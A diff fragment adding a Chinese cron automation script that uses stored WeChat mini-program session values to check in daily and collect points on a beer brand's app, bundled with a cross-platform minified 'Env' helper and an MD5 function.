+function MD5_Encrypt(a) { function b(a, b) { return (a << b) | (a >>> (32 - b)); } function c(a, b) { var c, d, e, f, g; return ((e = 2147483648 & a), (f = 2147483648 & b), (c = 1073741824 & a), (d = 1073741824 & b), (g = (1073741823 & a) + (1073741823 & b)), c & d ? 2147483648 ^ g ^ e ^ f : c | d ? 1073741824 & g ? 3221225472 ^ g ^ e ^ f : 1073741824 ^ g ^ e ^ f : g ^ e ^ f); } function d(a, b, c) { return (a & b) | (~a & c); } function e(a, b, c) { return (a & c) | (b & ~c); } function f(a, b, c) { return a ^ b ^ c; } function g(a, b, c) { return b ^ (a | ~c); } function h(a, e, f, g, h, i, j) { return (a = c(a, c(c(d(e, f, g), h), j))), c(b(a, i), e); } function i(a, d, f, g, h, i, j) { return (a = c(a, c(c(e(d, f, g), h), j))), c(b(a, i), d); } function j(a, d, e, g, h, i, j) { return (a = c(a, c(c(f(d, e, g), h), j))), c(b(a, i), d); } function k(a, d, e, f, h, i, j) { return (a = c(a, c(c(g(d, e, f), h), j))), c(b(a, i), d); } function l(a) { for (var b, c = a.length, d = c + 8, e = (d - (d % 64)) / 64, f = 16 * (e + 1), g = new Array(f - 1), h = 0, i = 0; c > i;) (b = (i - (i % 4)) / 4), (h = (i % 4) * 8), (g[b] = g[b] | (a.charCodeAt(i) << h)), i++; return ((b = (i - (i % 4)) / 4), (h = (i % 4) * 8), (g[b] = g[b] | (128 << h)), (g[f - 2] = c << 3), (g[f - 1] = c >>> 29), g); } function m(a) { var b, c, d = "", e = ""; for (c = 0; 3 >= c; c++) (b = (a >>> (8 * c)) & 255), (e = "0" + b.toString(16)), (d += e.substr(e.length - 2, 2)); return d; } function n(a) { a = a.replace(/\r\n/g, "\n"); for (var b = "", c = 0; c < a.length; c++) { var d = a.charCodeAt(c); 128 > d ? (b += String.fromCharCode(d)) : d > 127 && 2048 > d ? ((b += String.fromCharCode((d >> 6) | 192)), (b += String.fromCharCode((63 & d) | 128))) : ((b += String.fromCharCode((d >> 12) | 224)), (b += String.fromCharCode(((d >> 6) & 63) | 128)), (b += String.fromCharCode((63 & d) | 128))); } return b; } var o, p, q, r, s, t, u, v, w, x = [], y = 7, z = 12, A = 17, B = 22, C = 5, D = 9, E = 14, F = 20, G = 4, H = 11, I = 16, J = 23, K = 6, L = 10, M = 15, N = 21; for (a = n(a), x = l(a), t = 1732584193, u = 4023233417, v = 2562383102, w = 271733878, o = 0; o < x.length; o += 16) (p = t), (q = u), (r = v), (s = w), (t = h(t, u, v, w, x[o + 0], y, 3614090360)), (w = h(w, t, u, v, x[o + 1], z, 3905402710)), (v = h(v, w, t, u, x[o + 2], A, 606105819)), (u = h(u, v, w, t, x[o + 3], B, 3250441966)), (t = h(t, u, v, w, x[o + 4], y, 4118548399)), (w = h(w, t, u, v, x[o + 5], z, 1200080426)), (v = h(v, w, t, u, x[o + 6], A, 2821735955)), (u = h(u, v, w, t, x[o + 7], B, 4249261313)), (t = h(t, u, v, w, x[o + 8], y, 1770035416)), (w = h(w, t, u, v, x[o + 9], z, 2336552879)), (v = h(v, w, t, u, x[o + 10], A, 4294925233)), (u = h(u, v, w, t, x[o + 11], B, 2304563134)), (t = h(t, u, v, w, x[o + 12], y, 1804603682)), (w = h(w, t, u, v, x[o + 13], z, 4254626195)), (v = h(v, w, t, u, x[o + 14], A, 2792965006)), (u = h(u, v, w, t, x[o + 15], B, 1236535329)), (t = i(t, u, v, w, x[o + 1], C, 4129170786)), (w = i(w, t, u, v, x[o + 6], D, 3225465664)), (v = i(v, w, t, u, x[o + 11], E, 643717713)), (u = i(u, v, w, t, x[o + 0], F, 3921069994)), (t = i(t, u, v, w, x[o + 5], C, 3593408605)), (w = i(w, t, u, v, x[o + 10], D, 38016083)), (v = i(v, w, t, u, x[o + 15], E, 3634488961)), (u = i(u, v, w, t, x[o + 4], F, 3889429448)), (t = i(t, u, v, w, x[o + 9], C, 568446438)), (w = i(w, t, u, v, x[o + 14], D, 3275163606)), (v = i(v, w, t, u, x[o + 3], E, 4107603335)), (u = i(u, v, w, t, x[o + 8], F, 1163531501)), (t = i(t, u, v, w, x[o + 13], C, 2850285829)), (w = i(w, t, u, v, x[o + 2], D, 4243563512)), (v = i(v, w, t, u, x[o + 7], E, 1735328473)), (u = i(u, v, w, t, x[o + 12], F, 2368359562)), (t = j(t, u, v, w, x[o + 5], G, 4294588738)), (w = j(w, t, u, v, x[o + 8], H, 2272392833)), (v = j(v, w, t, u, x[o + 11], I, 1839030562)), (u = j(u, v, w, t, x[o + 14], J, 4259657740)), (t = j(t, u, v, w, x[o + 1], G, 2763975236)), (w = j(w, t, u, v, x[o + 4], H, 1272893353)), (v = j(v, w, t, u, x[o + 7], I, 4139469664)), (u = j(u, v, w, t, x[o + 10], J, 3200236656)), (t = j(t, u, v, w, x[o + 13], G, 681279174)), (w = j(w, t, u, v, x[o + 0], H, 3936430074)), (v = j(v, w, t, u, x[o + 3], I, 3572445317)), (u = j(u, v, w, t, x[o + 6], J, 76029189)), (t = j(t, u, v, w, x[o + 9], G, 3654602809)), (w = j(w, t, u, v, x[o + 12], H, 3873151461)), (v = j(v, w, t, u, x[o + 15], I, 530742520)), (u = j(u, v, w, t, x[o + 2], J, 3299628645)), (t = k(t, u, v, w, x[o + 0], K, 4096336452)), (w = k(w, t, u, v, x[o + 7], L, 1126891415)), (v = k(v, w, t, u, x[o + 14], M, 2878612391)), (u = k(u, v, w, t, x[o + 5], N, 4237533241)), (t = k(t, u, v, w, x[o + 12], K, 1700485571)), (w = k(w, t, u, v, x[o + 3], L, 2399980690)), (v = k(v, w, t, u, x[o + 10], M, 4293915773)), (u = k(u, v, w, t, x[o + 1], N, 2240044497)), (t = k(t, u, v, w, x[o + 8], K, 1873313359)), (w = k(w, t, u, v, x[o + 15], L, 4264355552)), (v = k(v, w, t, u, x[o + 6], M, 2734768916)), (u = k(u, v, w, t, x[o + 13], N, 1309151649)), (t = k(t, u, v, w, x[o + 4], K, 4149444226)), (w = k(w, t, u, v, x[o + 11], L, 3174756917)), (v = k(v, w, t, u, x[o + 2], M, 718787259)), (u = k(u, v, w, t, x[o + 9], N, 3951481745)), (t = c(t, p)), (u = c(u, q)), (v = c(v, r)), (w = c(w, s)); var O = m(t) + m(u) + m(v) + m(w); return O.toLowerCase(); }
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); break; case "Node.js": this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) }
diff --git a/backup/wx_hapi.js b/backup/wx_hapi.js
new file mode 100644
index 00000000..492124c4
--- /dev/null
+++ b/backup/wx_hapi.js
@@ -0,0 +1,202 @@
+/**
+ * new Env("HAPI哈啤硬核街")
+ * cron 20 17 * * * wx_hapi.js
+ * Show:
+ * 变量名:wx_hapi_cookie
+ * 变量值:bg-hardcore.ab-inbev.cn, Headers 中的 openid的值&sign的值×tamp的值 3个值缺一不可
+ * scriptVersionNow = "0.0.2";
+ */
+
+const $ = new Env("HAPI哈啤硬核街");
+const ckName = "wx_hapi_cookie";
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = '&'; //多变量分隔符
+let scriptVersionNow = "0.0.2";
+let jsUrl = "https://originfastly.jsdelivr.net/gh/smallfawn/QLScriptPublic@main/wx_hapi.js"
+let noticeUrl = `https://originfastly.jsdelivr.net/gh/smallfawn/Note@main/Notice.json`
+
+class UserInfo {
+ constructor(str) {
+ this.index = ++$.userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.sign = str.split(strSplitor)[1]
+ this.timestamp = str.split(strSplitor)[2]
+ this.ckStatus = true;
+ }
+ async main() {
+ await this.user_info()
+ }
+ creat_headers(){
+ return {
+ "Host": "bg-hardcore.ab-inbev.cn",
+ "Connection": "keep-alive",
+ "Content-Length": "35",
+ "charset": "utf-8",
+ "openid": this.ck,
+ "sign": this.sign,
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5261 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android",
+ "content-type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip,compress,br,deflate",
+ "timestamp": this.timestamp,
+ "Referer": "https://servicewechat.com/wx3235eff0af1e42d8/199/page-frame.html",
+ }
+
+
+ }
+ async sign_in() {
+ try {
+ let options = {
+ url: `https://bg-hardcore.ab-inbev.cn/api/checkin/dailyCheckIn`,
+ headers: this.creat_headers(),
+ body:`openId=${this.ck}`
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ console.log(JSON.stringify(result));
+ if (result.code == 0) {
+ $.DoubleLog(`✅账号[${this.index}] 签到成功[${result.data.point}]分🎉`);
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 签到失败`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ //https://bg-hardcore.ab-inbev.cn/api/checkin/userIsCheckin
+ async check_signin() {
+ try {
+ let options = {
+ url: `https://bg-hardcore.ab-inbev.cn/api/checkin/userIsCheckin`,
+ headers: this.creat_headers(),
+ body:`openId=${this.ck}`
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ console.log(JSON.stringify(result));
+ if (result.code == !-1) {
+ await this.sign_in()
+ console.log(`签到 do`)
+ } else {
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ //https://bg-hardcore.ab-inbev.cn/api/userCenter/getUserCenterInfo
+ async user_info() {
+ try {
+ let options = {
+ url: `https://bg-hardcore.ab-inbev.cn/api/userCenter/getUserCenterInfo`,
+ headers: this.creat_headers(),
+ body:`openId=${this.ck}`
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ console.log(JSON.stringify(result));
+ if (result.code == 0) {
+ $.DoubleLog(`✅账号[${this.index}] 欢迎[${result.data.username}]当前[${result.data.userPoints}]分 累计签到${result.data.joinDays}天🎉`);
+ await this.check_signin()
+ } else {
+ console.log(JSON.stringify(result));
+
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+}
+
+async function start() {
+ //await _getVersion(jsUrl);
+ //await _getNotice(noticeUrl);
+ let taskall = [];
+ for (let user of $.userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if ($.userList.length > 0) {
+ await start();
+ } await $.SendMsg($.message);
+})().catch((e) => console.log(e)).finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ //let userCount = 0;
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && $.userList.push(new UserInfo(n));
+ //userCount = $.userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${$.userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, timeout = 1 * 1000) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise(resolve => {
+ setTimeout(() => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ try { data = JSON.parse(data); } catch (error) { }
+ }
+ } catch (e) {
+ console.log(e);
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ }, timeout)
+ })
+}
+/**
+ * 获取远程版本
+ */
+async function _getVersion(jsUrl) {
+ const options = { url: jsUrl };
+ let httpResult = await httpRequest(options)
+ const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/;
+ const match = httpResult.match(regex);
+ const scriptVersionLatest = match ? match[2] : "";
+ $.DoubleLog(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`);
+}
+/**
+ * 获取远程通知
+ */
+async function _getNotice(noticeUrl) {
+ const options = { url: noticeUrl };
+ let httpResult = await httpRequest(options)
+ const notice = httpResult.notice.replace(/\\n/g, "\n");
+ $.DoubleLog(notice);
+}
+// ==================== API ==================== //
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.userList = []; this.userIdx = 0; this.message = ""; this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), t.params && (t.url += "?" + this.queryStr(t.params)), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && 